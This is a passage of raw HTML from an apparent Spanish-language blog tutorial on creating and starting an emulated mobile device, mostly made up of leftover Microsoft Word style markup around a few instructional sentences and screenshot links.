UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
<br />
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<span style="mso-ansi-language: ES;">En la siguiente captura vemos que sucede al darle
al botón <b style="mso-bidi-font-weight: normal;">NEW </b>que nos permitirá crear
un nuevo dispositivo:</span></div>
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-8BoULIEgcrM/UJRIpGt6EhI/AAAAAAAAALo/WCucvOzrzng/s1600/img3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://3.bp.blogspot.com/-8BoULIEgcrM/UJRIpGt6EhI/AAAAAAAAALo/WCucvOzrzng/s640/img3.jpg" width="448" /></a></div>
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<br /></div>
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--></span></div>
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<span style="mso-ansi-language: ES;"><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-bidi-font-family:"Times New Roman";
mso-bidi-theme-font:minor-bidi;
mso-fareast-language:EN-US;}
</style>
<![endif]-->
</span></div>
<div class="MsoListParagraph" style="margin-left: 72.0pt; mso-add-space: auto;">
<span style="mso-ansi-language: ES;">Y en la siguiente captura vemos que sucede al
darle al botón<span style="mso-spacerun: yes;"> </span><b style="mso-bidi-font-weight: normal;">START </b><span style="mso-spacerun: yes;"> </span>de uno de los
dispositivos móviles creados:</span></div>
</div>
<div class="MsoNormal">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-8wmFey02DU0/UJRI_nWgPBI/AAAAAAAAALw/8dHpFtJnMBc/s1600/img4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="456" src="http://3.bp.blogspot.com/-8wmFey02DU0/UJRI_nWgPBI/AAAAAAAAALw/8dHpFtJnMBc/s640/img4.jpg" width="640" /></a></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">Finalmente
al pulsar sobre <b style="mso-bidi-font-weight: normal;">Launch </b>encenderemos
el dispositivo y deberemos desbloquearlo como cualquier dispositivo físico, quedando de la siguiente manera:</span><br />
<br />
</div>
<div class="MsoNormal">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-h84RH9t1EcQ/UJRJkUNnBII/AAAAAAAAAL4/rqvbvGdHVpM/s1600/img5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="592" src="http://1.bp.blogspot.com/-h84RH9t1EcQ/UJRJkUNnBII/AAAAAAAAAL4/rqvbvGdHVpM/s640/img5.jpg" width="640" /></a></div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"><!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
